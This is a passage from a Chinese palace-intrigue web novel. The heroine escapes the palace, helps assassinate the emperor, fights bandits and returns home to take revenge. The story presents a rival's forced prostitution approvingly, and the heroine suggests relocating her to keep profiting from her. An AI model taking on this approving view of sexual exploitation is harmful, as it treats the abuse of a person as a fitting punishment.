“这口气我可咽不下！”丽贵妃道，“让我跟一个贱婢平起平坐，她也配？皇后娘娘既然不想处理，那不如卖臣妾一个人情，将这贱婢交给臣妾处置吧。” 皇后做出为难状：“这……” “就这么说定了。”丽贵妃朝皇后行了个礼，转身，对着大宫女使了个“将她带走”的眼色，大步往外走去。 关失越求救地望着皇后：“娘娘！” 皇后移开了目光。 丽贵妃的大宫女一把抓住了关失越的膀子，往外拖。 就在这时，殿外传来了大太监的通报声：“圣上驾到！” 第151章 出宫（3） 这一声，让众人的脸色都变了。 关失越忙瞅准时机，挣脱开宫女的钳制，如同一颗炮弹一样，飞快地冲到了元擎苍跟前。 她冲上去，八爪鱼一般抱住了元擎苍的腿，哭喊起来：“陛下救我！我要被她们害死了！！呜呜呜，这没法活了！” 丽贵妃狠狠地瞪过来：“德妃，是你以下犯上在先，别血口喷人！！” 关失越哭得更凶了：“她们很多人合起伙来欺负我一个人，她们打我，踹我，踢我，骂我，还说要弄死我！啊啊啊啊，我活不了了！我要去寻死！！！” 将鼻涕眼泪一股脑儿擦在元擎苍的袍角，关失越好似受了天大的冤屈一般，毅然决然地冲出去，往宫门的方向冲。 有那么多的宫人和侍卫，她自然没能如愿。 不过，这事正好给了她由头。 不留在皇宫的借口。 “我一直以为宫里的姐妹们都是极好的人，没想到，都是假的！这里太可怕了！我不玩了。我要走！” 任元擎苍如何解释，这是个误会，关失越都不信。 元擎苍表示，会好生惩戒丽贵妃，关失越便在边上看着他如何做，然而，正如丽贵妃所言，她的父兄、亲戚等人都在朝中任要职，元擎苍还真没法动她。 于是，元擎苍只能通过迂回的方式，打杀了丽贵妃的宫女来邀功。 他以为关失越会欢喜。 结果，关失越冷笑一声，强行闯宫。 一次两次，自然是被拦下来了。 每次被拦下之后，关失越待元擎苍就越发鼻子不是鼻子眼睛不是眼睛的，怨气深重到让人害怕。 元擎苍受虐受惯了，不以为耻反以为荣。 于是，接下来，关失越便上演了不同版本的闯宫戏码。 皇宫里的人没什么娱乐节目，很是无聊，关失越这一闹，正好给他们解闷了，因此，每次一听到消息，宫人们会一传十十传百，偷偷跑去观看。 久而久之，这事已然成了全宫上上下下都知晓的趣事了。 “唉哟，听说德妃娘娘下午的时候又闹着闯宫了！啧啧啧。” “是吗？早知道，我该去看看的。” “有啥好看的？明摆着，这是德妃争宠的手段！” “啊？何以见得？” “你们难道没发现吗？每次德妃一闹，陛下要么立马赶过去，要么当晚过去，并且，必定在她玉兰宫留宿！” “哎呀，你别说，还真是呢！” 如此类似的对话，发生在宫里的花园里、厨房里、杂物间、偏殿内、殿檐下、屋顶、树上等不少地方。 说话的人每次都各不相同。 很快，“德妃假借闯宫争宠”的事便传遍了皇宫的每个角落。 丽贵妃道：“我就知道那贱人是装的！一天到晚都闯宫闯宫闯宫，结果，没一次成功过！呸！！” 皇后叹了口气：“哎，德妃这是在怪本宫呢！她和贵妃的事，本宫哪里敢插手？丽贵妃势大，哪里是本宫这个皇后敢招惹的？终究是本宫不好，还是给她送些东西去补偿她吧！” 侍卫们：“啥？她是装的？我说，难怪她每次要闹出那么大的动静呢！原来是为了争宠。啧啧啧，这手段，真是让人意想不到。” 玉兰宫的宫人：“娘娘，您这法子可真好！不过，这样做多了，陛下会不会不高兴？要不……到此为止吧？” 关失越又表演了几次，她发现前来围观的宫人们一次比一次少了，侍卫们对她的表演越来越睁一只眼闭一只眼了。 就在众人最懈怠的时刻，关失越再次在掌灯时分闯宫。 这个时间点，是宫人们用晚膳+宫里侍卫换防+天黑的时间，正是逃跑的绝佳时机。 关失越一袭夜行衣，身子灵活矫健，连闯几个关卡，一直闯到了城墙上。 然后，趁着御林军猝不及防之际，关失越掏出事先准备好的铁钩和绳子，将绳子一头以铁钩固定在城楼，绳子另一头缠在自己腰间，跃下几丈高的城楼。 她的身子的城楼下掠过的时候，侍卫们这才意识到不对，忙请示上级要开城门。 等上级赶过来的时候，关失越早已不见了身影。 她真的跑了！ 就在他们的眼皮子底下，堂而皇之地跑了！！ 偏偏他们知晓她的身份，还不敢用弓箭射杀她。 ========== 暗七没有想到，德妃竟然这般能跑！ 三两下间，她竟真的跑出了皇宫！ 好在他反应够快，身手够敏捷，也跟着追了出去。 他跟在关失越身后，左拐右拐，然后，他发觉他跟丢了她！ 他四处寻找，竟找不到她的身影！ 直到这一刻，暗七才意识到了恐惧。 他想起来自己有一次莫名其妙晕倒，然后又莫名其妙醒来，那中间到底过去了多长时间，他一点都没印象了。 就好似只是打了个盹的时间。 又好似过去了很久。 那个时候，他也是这种慌乱不安的感觉。 跟丢了任务目标，这是非常可怕的事情。 暗七想着，自己找不到，只得向上级报告此事了。 然而，他刚刚转身，就感觉脑袋被什么东西重重地击中，他只来得及看出袭击自己的是个身形极高的男人，便晕了过去。 ========== “……就这样定好了，到时伏击地点设在这座桥上。到时一旦得手，我们的人可以从这条路、这巷子、以及直接从水上跑。” 关失越的手指在地图上一一掠过。 “这个地方人多，便是潜入百姓中，也有八成的几率跑掉。先出城，城外自有人接应。” 楚翊尘点了点头，道：“到时将人引出后，你就跑。得手后，我的人会尽量拖住元擎苍的暗卫，但最多两刻钟的时间。可是从这里到盛都的南城门，两刻钟的时间够吗？” 关失越：“足够。因为，那日，我能抢到马车。” 楚翊尘：“万一那日没有马车呢？” 关失越笑了笑：“会有的。且，那辆马车绝对不会被检查。” 楚翊尘：“何以见得？” 关失越卖了个关子：“到时你便知晓了。” 第152章 得手 暗七醒来的时候，发现自己还在昏迷之前的那条小巷子里。 他很懊恼。 他知道，肯定发生了什么事。 但他脑子向来不好使，也猜不出发生了什么，便只能自认倒霉。 他揉着有些晕的脑袋，走出巷子。 他漫无目的地走了一阵，然后，找了一家酒楼，要了两盘肉菜、一碟花生米、一个汤、一壶酒，大快朵颐起来。 吃饱喝足，暗七索性找了个地方歇息了一夜，第二日才在大街上寻找关失越。 别说，功夫不负有心人，在走过一座桥的时候，他看到了关失越。 暗七大喜，忙跟了上去。 ========== 轩辕皇宫。 今日是太后的寿辰，出嫁的公主们、各个王爷王妃、皇室宗亲、皇亲国戚们齐聚皇宫，给太后祝寿。 皇宫里显得很热闹。 元擎苍中途离席，随意地在御花园里转了转。 御花园里有人。 一对年轻的未婚夫妻趁着无人，在浓密的花丛深处相互诉说衷肠。 元擎苍站在不远处听了一耳朵，随即，他大步回了清心殿，换了一身寻常郎君的衣服，只带了几个侍卫，便出了皇宫。 据暗七传回来的消息，关失越出宫后并没有走，而是在距离南城门不远的地方租赁了一处两进的小宅子，过起了茶不思饭不想的日子。 元擎苍早就想出宫了，可因为太忙，便一直搁置了下来。 如今好不容易等到太后寿辰这样的日子，他一刻也等不了了。 坐上马车，元擎苍很快来到了城南。 然而，屋子里没人。 邻居说，屋子里的人主人去锦绣阁买衣服去了。 从城南到锦绣阁，中间要经过一座桥。 元擎苍赶到桥边的时候，果然看到了关失越。 她在桥的另一头。 在看到元擎苍的那一霎，关失越似乎是震惊到了，她呆愣在原地，随即，想到什么，她忙转身，身影很快就消失在了人流里。 “站住！”元擎苍一边走上桥一边对侍卫道，“快，别让她跑了！” 两个侍卫去追关失越了，其余六个侍卫寸步不离地跟着元擎苍。 快走到桥中央的时候，这时从对面走过来一队扛着布匹的小二。 双方人马各自向前，很快在桥中央相遇。 双方交错而过的瞬间，变故突生。 布匹突然被抛向天空。 同时，布匹里面隐藏的匕首被小二们拿在了掌心，纷纷朝元擎苍及他的两个侍卫刺去。 元擎苍大惊，连忙闪躲。 然而，楚翊尘和杀手们对今日这一仗早就演练过无数次了，对各种突然情况也做了详细的备用方案，因此，元擎苍并没有躲过。 一把把匕首同时插入了元擎苍的前胸、后背、脖颈等处。 之后，在元擎苍震惊的目光中，楚翊尘等人飞快地拔出匕首，二话不说，将几个侍卫全部解决，再迅速撤离。 ========== 关失越快速地奔跑着。 这次计划虽冒险，但楚翊尘出手，她觉着十有八九是得手了。 如今，跑才是关键。 这里离南城门并不远，她只要在南城门的守卫得到消息之前出城并算是逃出生天了。 所以，她得快！ 她使出了生平最快的速度跑。 然后，在距离城门口约摸几百米的地方，她看到了一辆马车。 她朝着那马车掠了过去。 这时，马车窗打开，江蝶舞的脸出现在关失越视线里。 关失越松了一口气。 江蝶舞做到了！ 她真的给她弄到了马车！！！ 关失越飞到车顶，从事先凿了一个洞的车顶滑了进去。 “有没有事？”江蝶舞道。 “没事。”关失越道，“谢谢你。” 江蝶舞：“应该是我谢你才是。因为你，我终于可以不用潜伏盛都了。” 关失越：“你这马车是怎么弄到的？” 江蝶舞笑道：“别人送的。” 关失越：“厉害！” 这时，车顶传来动静。 两人不再说话，靠着马车车壁贴着。 下一刻，楚翊尘从车顶的洞里滑了下来，落在正中。 过了一会儿，陆陆续续有人落到马车顶，再从车顶的洞滑进车里。 车子一路行驶，很快就到了城门口。 此时的城门口，人不算多。 关失越心提到了嗓子眼。 好在守城士兵在简单地问了几句车夫后，便放行了。 马车再次行驶。 在即将走出城外门之际，突然，空中响起了信号弹的声音。 关失越心道糟了，他们的刺杀行动被发现了。 得快点！ “快！”江蝶舞催促道。 与此同时，守门士兵大声道：“敌袭！有敌袭！快，关城门！关城门！！” 马车此时行驶在内城门和外城门之间，此时一旦外城门关闭，他们就是瓮中捉鳖里面的鳖！！！ “快！快冲出去！！！”江蝶舞道。 楚翊尘直接冲出去，挤走赶车的车夫，一把匕首插进了马屁股。 马儿吃痛，快速狂奔。 终于，赶在城门合拢的前一刻，马车冲了出去。 守在城外的守卫见状，大喊：“哪里来的马车？停下！” 楚翊尘不管不顾，一鞭子狠狠甩在马身上。 马儿嘶鸣，发了狂一般奔跑…… ========== 接下来的日子，是暗无天日的逃亡之路。 为了不至于被一网打尽，所有人跟之前一样，化整为零，从各个方向，以不同的面貌和方式逃跑。 关失越和楚翊尘组成一队，和众人告别之后，两人易容成了一对老夫妻，颤颤巍巍地朝着北方的城市而去。 许是知晓了刺客是大夏人，因此，轩辕这边派往大夏方向的追兵很多。 相反，北上路上基本没什么追兵。 一路北上，两人并没有遇到什么盘查。 两人走走停停，走了五六天，来到了西北边的砚城。 砚城是个很开放包容的城市。 关失越和楚翊尘很容易就进了城。 站在充满了异域风情的砚城街道上，楚翊尘道：“你说的人呢？怎么没见着？” 这句话刚说完，不远处走来一人，直勾勾地盯着关失越看。 正是谢七娘。 谢七娘看了关失越好一阵，道：“你是王六婶子吧？十年不见了，你还记得我吗？” 关失越笑着对出了暗号：“十年？分明是十一年零一个月。阿七，你长大了。” 第153章 你把我害得好惨 谢七娘激动地上前，一把拉住了关失越的手：“六婶！” 说着，又看向楚翊尘：“六叔！” 楚翊尘点了点头。 谢七娘：“走，去我那儿。” ========= 谢七娘、胡娘子和阿树三人是在十天前到达的砚城。 按着关失越的吩咐，谢七娘在砚城不但租赁了一处宅子，而且还自己制作了不少的肥皂、香皂、胭脂。 关失越和楚翊尘在谢七娘事先找的宅子里洗漱了一番后，楚翊尘这才问出了这些天一直想问的问题：“元擎苍为何会在那天出宫？” 关失越：“因为那天是太后的生辰。每年太后的生辰，元擎苍的情绪便会大起大落。” 楚翊尘：“那你为何断定那一日能弄到马车？” 关失越：“还是因为那是太后的生辰。太后生辰，全盛都的达官贵人都会去皇宫贺寿，这不，抢马车不就容易了吗？” 在砚城修整了几日，终于听到了元擎苍驾崩的消息。 关失越的心彻底放了下来，将三辆马车都装满了这些日现做的肥皂、胭脂等货物，又装了些从盛都和砚城收购的茶叶、丝绸、瓷器等货物，和谢七娘、楚翊尘等人再次出发。 这一次，他们的目的地是比西域更远的地方。 他们的身份是西行的商人。 他们混在商队的末尾，和几百人的商队、镖局一起，浩浩荡荡走上丝绸之路。 阿树这孩子很乖，路上他只要吃饱了，基本不吵不闹，安安静静地睡觉。 这给他们的西行省下了不少麻烦。 关失越只要一有空就和胡娘子、谢七娘一起，围在阿树旁边看他睡觉。 这段路程刚开始还算顺利。 走了几日之后，走到一处山坳里的时候，商队遇到了山匪的袭击。 几百人的商队，在山匪的袭击下，溃不成军。 山匪们凶神恶煞地扣下所有货物，并，将所有人都抓进了山寨。 ========= “刚才我们完全可以杀出去的。如此，咱们的马车和货物都还在。” 走在山道上，楚翊尘小声道。 关失越低声回道：“是，以咱们的身手肯定是可以的，但是，到山寨待几日再走，对我们更好。” 他们刺杀了元擎苍之后便一路逃到了砚城，若是暗阁的人留心观察，能一路追查到商队。 如此，接下去的路就会很难走。 可如今被山匪这般横插一脚就太好了，线索全断了！ 轩辕人无论怎么查，只会查到他们被山匪杀死的消息。 他们在山寨走一遭后，出去就能抛掉当初易容成的“王六婶”的身份了。 如此，这一劫便算是躲过去了。 楚翊尘略一思索便想明白了，只是，他仍然愁眉不展。 “如此确实能断了轩辕官兵的追捕，但上了山寨之后怕是很难逃脱。况且，我们还带了个孩子。” 关失越：“没事，阿树那孩子很乖，他不会拖后腿的。再则，咱们这回去西域要多进些货，手上那点银票可不够，到时少不得要从山匪那里‘借’点了。” 楚翊尘笑了：“这个想法倒是不错。” ========= 很快就到了山寨。 关失越、楚翊尘、谢七娘、胡娘子等人紧紧挨着挤在一处，默默等待着黑夜的降临。 然而，山匪们很嚣张。 他们将商户们一个个拉出去，许久都没有放回来。 屋子里的人越来越少了。 太阳落山的时候，山匪们盯上了关失越。 此时的关失越还是“王六婶”的装扮，她挣扎几息之后便听话地出去了，临走前，对楚翊尘、谢七娘等人眨了眨眼。 很快，关失越被带到了一处偏僻的屋子里。 一个山匪将她推搡到地上，二话不说就要拳打脚踢，关失越眸色一冷，抬腿一脚猛踹过来。 山匪被踹得腿骨咔嚓一声断裂，顿时，发出了凄厉的叫声。 关失越一拳打了过来，正好打在山匪的脖子上。 顿时，山匪连叫声都发不出了，整个人扑通一声倒在了地上，气绝身亡。 其余山匪见状，纷纷赶来。 关失越从倒地山匪身上抽出一把大刀，一个漂亮的刀花，顿时，又倒了几个山匪。 “不好！这老太婆是个厉害的！快去叫人！！” “来人啊！来人啊！！！” 与此同时，待在另一处的楚翊尘、谢七娘等人听到动静，也开始行动了。 谢七娘一脚踹翻了守卫，大喊道：“冲啊！冲出去！！” 楚翊尘则扭断了另一个守卫的脖子，抢走了大刀，冲在最前面：“杀了土匪，夺回咱们的货物！否则，我们所有人都得死！” 原本就提心吊胆的商队成员们瞧着这一幕，又听着远处的打杀声，顿时热血沸腾，纷纷道：“留在这里只能等死，还不如搏一把！” “拼了！” “杀了土匪，抢回货物！！” “杀！！！” 很快，山寨里打杀声一片…… ========= 两个时辰后。 关失越洗净了脸上的血水和汗水，和胡娘子一起，守在路边，等楚翊尘与谢七娘。 楚翊尘和谢七娘两人一个去找抢山匪的老巢了，一个则去寻马车了。 “你要不要也梳洗一下？”关失越接过了胡娘子怀里的阿树，问道。 胡娘子见边上有水，道：“好。我也洗一洗。” 正好活动活动手脚。 就在这时，一阵杂沓的脚步声响起。 紧接着，是无数支移动的火把朝着这边奔来。 胡娘子身子一个哆嗦。 关失越：“别怕！” 胡娘子立马闪身到了关失越跟前，警惕地看着来人。 火光越来越近，很快就到了跟前，山匪们在看清这里不过两个女人一个孩子的时候，不禁哈哈大笑。 关失越也笑了。 她嘴角微勾，眼色寒凉，说出的话却是：“妾和姐姐不过是弱女子，还请各位好汉……” “白如意！” 关失越原本想说的话顿时卡在了嗓子口。 她朝着说话的人看了过去。 然后，她的眉毛不受控制地蹙了起来。 “果然是你！你把我害得好惨！！”身形高大的男人愤怒地冲到了近前，借着火把的光，仔细地观察着关失越，“没想到我还活着吧？以前的账咱们是不是该好好算一算了？” 第154章 他不会以为这孩子是他的吧？ 借着火光，关失越将来人看得更清楚了，是岑骥！ 这可真是冤家路窄！ 兜兜转转间，她竟然能在这样的地方见到岑骥！！！ 岑骥战败，不是说被发配到苦寒之地去挖矿了吗？ 他怎么会在这里？ 还当了山匪！！！ 早知他在这里，她就不应该为了想一劳永逸地解决追兵而上山了。 许是她的紧张和突然僵硬的身子吓到了怀里的孩子，孩子突然哭了。 嘹亮的哭声让所有人的目光都聚焦到了关失越怀里的襁褓上。 岑骥的目光从关失越脸上往下，落到了襁褓上，顿时，凝固住了。 半晌，岑骥道：“他是谁？” 声音里有一丝不易察觉的急切。 关失越看了他一眼，发现他面上神色变幻不定，心底猛地升起一股不可思议的猜测来。 他不会以为这孩子……是他的吧？ 毕竟，从时间上来看，她当初若“真”怀孕了，此时也该有个这么大的孩子了。 为了验证这个猜测，关失越冷哼了一声，抱紧了怀里的孩子，耐心地哄着，这孩子也听话，被她这么一哄，果然安静了下来，再不哭了。 关失越脸上不自觉地变得温柔了起来。 “他是男是女？我能看一眼吗？”岑骥上前一步，道。 关失越警惕地后退一步，之前那温柔母性的一面荡然无存，她浑身上下布满了戒备警告之色：“你不许过来！退后！！否则，我就对你不客气了！！” 岑骥：“我就只看一眼……” “滚！”关失越又后退了一步，如护犊子的母鸡，越发凶狠，“你一个山匪流寇，凭什么看我的孩子？！你滚远些！！” 岑骥抬出去一半的脚，僵在了半空。 这时，恰好一阵山风吹过，他觉得有些冷，好似有沙子吹进了眼睛里，眼眶有些痒，有些涨，还有一股说不上来的……悲伤。 身后的山匪们气炸了，冲着关失越叫嚣：“哪里来的小娘子？你她、娘、的别给脸不要脸！信不信……” “行了！别说了！！”岑骥神色已然恢复如常，他冲着手下的山匪们道，“绑了！小心些，别伤着了孩子。” “是！” 山匪们满意了，兴高采烈地朝着关失越和胡娘子冲过来。 就在这时，只听嗖嗖嗖的几声，冲在最前面的，离关失越几人只有不到一米的距离的几个山匪应声倒地，没了气息。 楚翊尘和谢七娘赶到了。 又一轮大战开幕…… ========= 天快亮的时候，关失越、楚翊尘等人赶到了一处镇子上。 他们的马车和货都在。 与他们一同逃出来的只有不到六个人。 那几人有的是商队请的镖师，有的是马夫，有的是专门搬运货物的劳工，他们因为抱紧了楚翊尘这大腿，这才得以逃脱的。 因此，几人对楚翊尘很客气，一路上还帮着楚翊尘赶马车。 到了镇子上，众人找了个家客栈洗漱了一番，又休整了半日，这才准备继续上路。 楚翊尘问那几人：“现下已然安全了，我们打算继续西行。你们有什么打算？” 那几人除了两人表示要去投靠亲友外，其余的都表示想要和楚翊尘结伴而行，顺便帮他赶马车。 楚翊尘应下了。 于是，就这样，一行人继续赶路，不多久，便加入了当地的商队，和商队们一起去往西域…… ========= 一年后。 关失越一行人绕了几万公里，过了十来个国家，终于回到了大夏京都。 一年的旅游+赚钱生涯，让关失越、谢七娘、胡娘子等人大开了眼界，性格也变得活泼爽朗了许多。 尤其是谢七娘。 以往的她虽是掌柜，少不得跟人打交道，但她骨子里仍保持着世家贵女的温柔含蓄，让人有一种不太好亲近的疏离感。 如今的谢七娘梳的是波斯国的妆发，戴的是波斯国的首饰，整个人看起来俏皮灵动。 她说话声音也变大了许多，性子更是活泼爱笑，远远地便热情地同人打招呼，原本无意买东西的顾客，愣是被她的嗓子给招呼来了，随即在她的热情洋溢的解说下，心甘情愿地掏空了钱袋子，买东西！ 镜子、玻璃、牙膏、花露水、望远镜、眼镜、风油精、青霉素、纸张、卫生纸等从“西域的西域”过来商品，在谢七娘的吆喝下，很快就传遍了京都的大街小巷。 不到几日，谢七娘的铺子就人满为患，每日赚的钱都能堆成小山丘。 胡娘子原本就是要强的性子，没了那剥削她的男人，经过一年多的旅游后，她的性子越发开朗爽利，她没再干奶娘的工作了，不过仍带着阿树，在谢七娘手下做事。 她做事不错，谢七娘带过她两日后，便决定培养她做分店的店主。 关失越和楚翊尘则是各自去了摇光台汇报工作。 在这之前，半个月前，关失越一行人先到达的是赤霞府。 在赤霞府，胡娘子回老家了一趟，见了家人后，便将婆家的房子卖了。 关失越和楚翊尘去了千里及总部，简单地同陆之涯汇报了刺杀元擎苍以及刺杀成功之后的逃跑路线及过程，陆之涯自然是大大地奖励了两人。 拿到赏赐后，关失越去了一趟军营，见了陆之斐。 一年的旅行，让关失越越发肌肤胜雪、美艳动人。 尤其是她的身段，那比例已经不能用“窈窕”、“婀娜”之类的词语来形容了，是惹火！ 相当地惹火！ 简直是魔鬼般的身材！！ 她往那里一站，陆之斐的目光便凝固住了，然后，两行鼻血从他鼻子里流出。 执勤的士卒卫兵们也都个个看直了眼，恨不能将眼珠子都沾到她身上。 “你立下大功，圣上那里，必定会隆重嘉奖。”陆之斐说两个字便忍不住抬头看关失越一眼，说到最后，他脑袋里浑浑噩噩的，说话也语无伦次起来，“你的亲事……圣上怕是要过问的，你这身份……你反正是陆家人，不若……不若……” 他说不下去了。 因为，他竟想说，不若嫁给他算了。 可是，她是陆家人啊！！！ 他后悔了。 早知她会生得这般好看，他当初说什么也会不会让她离开陆家军的！！！ 第155章 后悔 好在她是千里及的人，千里及是陆家军的。 仔细算起来，她还是陆家军的人。 是他的人。 关失越行了一礼：“是！妾时刻谨记自己是陆家人，妾有一个不情之请，还大将军成全。” 陆之斐：“什么请求？” 关失越：“妾乃细作，妾想要做一个合格的细作，妾决定，这一辈子都不成亲。还请大将军向圣上言明。” 陆之斐想问为何，可是，想到细作确实不宜成婚，他就觉得心口仿佛压上了一块巨石，闷得厉害。 半晌，他缓缓吐出一口浊气，道：“好。此事我会向陛下禀报的。” ========== 拜别了陆之斐，关失越去特意去看了蔡侍郎一家。 因着顾侍郎一家被毒杀之事，蔡宝珠成了凶手，蔡宝珠被判了发配充军，蔡侍郎一家受其牵连，也被判了流放。 流放地点便是忘川县最贫瘠的石头镇。 在石头镇，关失越看到，蔡侍郎和蔡夫人早没了之前的意气风发，两人如同普通的平头百姓，起早贪黑干活，蓬头垢面、卑躬屈膝一生。 蔡大郎蔡二郎兄弟早没了之前的傲慢，他们沉默寡言地做着最苦最累的活儿，一年多的时间，两人脸上的脊背已然弯了，眼睛里只剩下了麻木和心灰意冷。 关失越对此非常满意。 “夫人后悔吗？”关失越问蔡夫人。 蔡夫人惊愕地抬头看了关失越一眼，发现并不认识，忙垂下了头，不语。 关失越：“抛弃自己受了苦的亲生女儿，选择养女。为了养女，让自己的亲生女儿日日承受锥心之痛，在绝望中孤独地死去。最后，你寄予厚望的养女却将你一家子拖入地狱。这样的结局，你后悔吗？” 蔡夫人眼眶一红，流出了眼泪：“你是谁？你怎么知道这些？” 关失越：“将近两年前，我在荒山野岭遇到丫丫。 当时，她病入膏肓，她的养父母嫌她没法给家里干活还要喝药，将她丢弃在了山里喂狼。 我救下了她。 一年半前，我在京都郊外再次见到她，当时，她满身是血、头发散乱、衣不蔽体，奄奄一息。 她告诉我，她被她的亲生父母打发到了庄子上，一天夜里，庄子上突然出现了许多男人，他们凌辱了她。她拼着最后一口气爬出了庄子，爬到了官道上。 在她咽下气的最后一刻，她说，她恨你们。 她说，她希望你们一家都不得好死。 她还说，如若有来生，她说什么也不会投胎到你的肚子里，做你的亲女儿。 夫人，恭喜你，成功地将这世上最爱你，最渴望得到你的母爱的女儿害死了。” 说完，关失越没有再看蔡夫人一眼，转身离开。 蔡夫人却跟疯了一般，不停地摇头，嘴里一直在念叨：“不会的！不会的！假的！你说的都是假的！！怎么可能？丫丫明明从庄子上回来了的……” 想到什么，蔡夫人噤了声，身子一动不动，好半晌都没有发出声音。 不知过了多久，蔡夫人发出一声撕心裂肺的喊叫，声音突兀又响亮，将方圆两里地的人都惊动了。 人们纷纷跑过来围观，便见蔡夫人如同一个疯妇一般，一会儿扯着自己头发，一会儿对天呐喊，一会儿跪在地上扇自己的嘴巴。 她的嘴里断断续续语无伦次地道：“珠珠……可怜的孩子……丫丫……该死！娘该死……” 蔡家父子几人见状，麻木的眼睛里也有了些湿润。 他们知错了！ 在蔡宝珠害得他们一家流放的时候，他们就后悔了。 后悔为了蔡宝珠，而舍弃了自己的亲生孩子。 而结果，蔡宝珠不但没给他们带来荣耀，反而害得他们家破人亡。 流放到忘川县之后，他们日日被鞭打，日复一日年复一年干活，他们被繁重的苦役折磨得只剩下了半条命。 这一切，都是蔡宝珠害的！ 长年累月的苦难终于让他们悔悟了。 可惜，人生没有早知道。 后悔，已经晚了。 他们的余生，都将为当初的冷漠、自私、抛弃亲人而买单。 ========== 关失越还去见了蔡宝珠。 如今的蔡宝珠可不得了了，她现在可谓是身兼数职。 白日里，她是营妓。 夜晚，她是怡红楼的头牌，是宁王差点娶回家的世家贵女，想要与她春风一度的男人们拼命砸钱。 蔡宝珠夜夜做新娘，一夜的收入相当可观。 据说，她刚来的时候，拍卖价是两千两白银。 为此，陆之斐在她身上赚了不少军资。 后来时间长了，许是她口碑实在是不好，她的身价便不行了，再没冤大头肯出一千两了。 于是她的高贵出身只能骗外地人了。 再后来，连外地人都骗不了了。 她的身价从两千两一路狂跌，跌到了五十两。 陆安算了下账，离蔡宝珠欠下的一百万两黄金还差着七成呢！ 如此下去不是办法。 于是，陆安又想了个好办法，就是降价处理，薄利多销。 关失越见到蔡宝珠的时候，蔡宝珠正扭动着身子，在台上跳脱衣舞。 随着蔡宝珠身上的衣服一件件被脱掉，关失越看到，她身上几乎到处都是淤青和伤痕。 但显然，观看的男人们一点也不介意，相反，他们越发疯狂，嘴里不停喊着“贵女”、“烂、货”等词语。 关失越没有再看，退出了人群。 “她还欠多少钱？”关失越问陆安。 陆安笑道：“还得多谢关娘子将她的欠条给陆家军，别说，她挣钱还是很厉害的。一年多的时间，她已经挣了五十多万两黄金了。” 也就是说，蔡宝珠还了一半多了。 关失越：“照这样下去，后面的账，她怕是……” “已经很厉害了。”陆安看向关失越，“还是关娘子你有本事，能想出这么好的法子。” 一年多的时间，就给陆家军凑了几百万两白银的经费。 脑子好使就是牛！ 难怪大公子和大将军要对她另眼相待。 这要放在以前，谁能信，一个女子的作用会有这般大呢？ 剩下的四十几万两黄金蔡宝珠肯定是还不完的，不过也没事，在这里，年轻美丽的女人永远都有用处。 哪怕是只剩下一口气，就还能回营地做营妓。 一看陆安的表情，关失越便知晓他没能明白自己的意思，于是只得说得更清楚些：“她如今这状态，看起来很疲累啊。 该不会是没有休息好吧？ 赚钱固然要紧，但也要注意可持续发展嘛。” 第156章 被封郡主 陆安咳了咳：“哎，没办法啊，今时不同往日，她那身子……损耗太大，不好骗钱了。 男人们又不傻，他们一旦试过就知晓了。 他们不满意，虽不至于闹着要退钱，但是，他们会口耳相传，让后面的人不至于再被骗。” 这种事，一旦传的人多了，蔡宝珠便没口碑了。 一旦口碑没了，就再不能骗到钱了。 关失越：“你们就没想过，换个地方，重新捞钱？” 换个地方，那些男人便不认识蔡宝珠。 不认识，岂不是又可以将之前的成功案例再来一遍？ 如此一来，剩下的黄金不就来了吗？ 陆安大喜，忙冲着关失越行了一礼：“多谢关娘子提醒！关娘子，你真聪明！” 关失越摆了摆手：“哪里哪里，我不过是在些小事上乱出点点子罢了，大事上，还得是陆小郎君。对了，陆小郎君，我想见蔡宝珠一面，和她说几句话，可以吗？” ========== 听闻有人要见自己，蔡宝珠麻木的眼睛里没有一丝神色，她拖着疲惫至极的身子，活死人一般机械地走到了一间屋子里。 她以为自己会见到一个脑满肠肥的男人，或者是一群凶神恶煞奇丑无比的男人。 然而，都不是。 她看到了一个身姿婀娜、倾国倾城的女子。 女子实在是太美太高贵，蔡宝珠自惭形秽地低下了头：“他们说，您找妾？” 一年多的卖笑生涯，终于摧垮了蔡宝珠，她应当是知晓自己翻盘无望，所以平静地接受自己的命运，等着哪一天油尽灯枯而亡。 可是，不够。 蔡宝珠欠丫丫的，是一条人命！ 关失越嘴角勾起了一个清浅的弧度，她朝着蔡宝珠勾了勾手：“过来。” 蔡宝珠僵硬地走了过去。 关失越一把握住她的手腕，细细地给她把脉。 跟她预想中的差不多，蔡宝珠身子亏空得厉害，寿命方面顶多只能活到四十多岁。 当然，前提是好好养着，不再这样糟蹋身体。 若是继续这般，最多十年。 关失越很满意。 “我今日来，是为了帮蔡丫丫带一句话给你。”关失越道，“蔡丫丫说，她所经历过的痛苦，要百倍、千倍加诸在你的身上。我想，她的愿望很快就能实现的。你说是吧？” 蔡宝珠握紧了手指。 关失越不再看她：“她之所以想回侍郎府，只是想要跟别的女孩子一样，尝尝父母之爱，感受下家庭温暖。 第157章 我们成婚吧 摇光台销魂司，相当于总务处，负责档案、后勤、培训、人事调度、发工资等活儿，是最安全最舒坦的岗位。 不像天玑司和夺命司，要么就是潜入敌营刺探情报，要么就是搞刺杀，动不动就能丢了命。 江蝶舞此番，算是彻底结束了之前的刺探情报的危险工作了。 有地位，有俸禄，还安全。 这样的生活，放在后世也是相当舒爽的。 更别提这个时代了。 楚清漪说得没错，做摇光卫很有前途。 关失越为她感到高兴。 ========= 关失越回到陆宅的时候，丫鬟莹秀呈上来两封拜帖。 关失越接过拜帖一看，一封是沈淮瑾的，一封是向砚辞的。 “郡主？”莹秀见她半晌不说话，道。 关失越笑了笑：“帮我回绝了。” 莹秀不明白主子为什么看不上这两人，沈世子和向探花不管是相貌、气度，还是才华、官位，都是极好的。 京都至少有一半的小娘子都喜欢他们！ 说起来，这一年多来，这两人时不时地过来询问主子回家了没有，看得出，他们很关心主子的。 尤其是那沈世子，起先是每个月都来询问，到后面，一个月要过来两次，甚至是三次。 每次当收到主子还未回来的消息，沈世子便落寞地转身离开，背影显得孤寂极了。 这次主子回来了，沈世子不知会高兴成什么样了，可惜…… 哎！ 主子的命令，她不能不听。 于是，莹秀只得斟酌措辞，给两人写回帖。 ========== 激情过后。 关失越闭着眼窝在楚翊尘怀里，手指无意识地搭在他的手臂上，很是惬意。 楚翊尘一只手抱着她，一只手有一下没一下地抚摸着关失越顺滑的头发：“二丫，我们成婚吧。” 这句话一说完，他就感觉怀里的人身体僵了一瞬。 他在心底叹息了一声。 他知晓，这话他还是说早了。 他应该再等一等的。 第158章 朱砂痣 “昨日我送了拜帖，但……”沈淮瑾想了想，抬起头，一双眼睛注视着面前这个风华绝代、美貌绝伦的女子，“我实在想你。” 想她？ 想她什么？ 